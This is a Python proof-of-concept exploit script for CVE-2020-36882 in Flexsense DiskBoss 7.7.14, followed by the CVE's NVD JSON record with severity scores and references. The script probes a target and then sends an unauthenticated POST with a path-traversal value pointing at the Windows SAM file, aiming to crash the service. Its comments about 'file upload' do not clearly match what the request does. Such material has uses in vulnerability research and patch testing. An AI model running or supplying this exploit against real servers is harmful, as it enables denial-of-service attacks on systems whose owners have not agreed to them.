CVE-2020-36882

import requests import sys # CVE-2020-36882 PoC - DiskBoss 7.7.14 Arbitrary File Upload DoS # Target: Flexsense DiskBoss 7.7.14 # Vulnerability: Unauthenticated arbitrary file upload via /Command/Search Files endpoint def exploit_diskboss(target_url, file_path='../../../../windows/system32/config/sam'): """ Exploit function to trigger arbitrary file upload vulnerability Args: target_url: Base URL of vulnerable DiskBoss server file_path: Malicious file path to write (path traversal supported) Returns: bool: True if exploit sent successfully, False otherwise """ exploit_url = f"{target_url}/Command/Search Files" # Construct malicious payload payload = { 'Directory': file_path, # Path traversal + arbitrary file path 'SearchPattern': '*.exe', 'EnableRecursive': '1', 'EnableSubfolders': '1' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*' } try: print(f"[*] Sending exploit payload to {exploit_url}") print(f"[*] File path: {file_path}") # Send POST request with malicious payload response = requests.post( exploit_url, data=payload, headers=headers, timeout=10, verify=False ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if response.status_code == 200: print("[+] Exploit payload sent successfully") print("[+] Application may crash due to arbitrary file write") return True else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2020-36882 """ test_url = f"{target_url}/Command/Search Files" try: response = requests.get(test_url, timeout=5) if response.status_code in [200, 400, 500]: print(f"[+] Target appears to be running DiskBoss service") return True except: pass return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2020-36882.py <target_url>") print("Example: python cve-2020-36882.py http://192.168.1.100:8090") sys.exit(1) target = sys.argv[1].rstrip('/') print("=" * 60) print("CVE-2020-36882 - DiskBoss 7.7.14 Arbitrary File Upload DoS") print("=" * 60) if check_vulnerability(target): exploit_diskboss(target) else: print("[-] Target does not appear to be a vulnerable DiskBoss instance")

{"cve": {"id": "CVE-2020-36882", "sourceIdentifier": "[email protected]", "published": "2025-12-05T18:15:54.200", "lastModified": "2025-12-10T15:08:04.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Flexsense DiskBoss 7.7.14 allows unauthenticated attackers to upload arbitrary files via /Command/Search Files/Directory field, leading to a denial of service by crashing the application."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:flexense:diskboss:7.7.14:*:*:*:*:*:*:*", "matchCriteriaId": "45845F37-34B8-4E68-B7B3-388E5E643282"}]}]}], "references": [{"url": "https://github.com/x00x00x00x00/diskboss_7.7.14/raw/master/diskboss_setup_v7.7.14.exe", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.diskboss.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/48276", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/flexsense-diskboss-denial-of-service-by-crashing-the-application", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}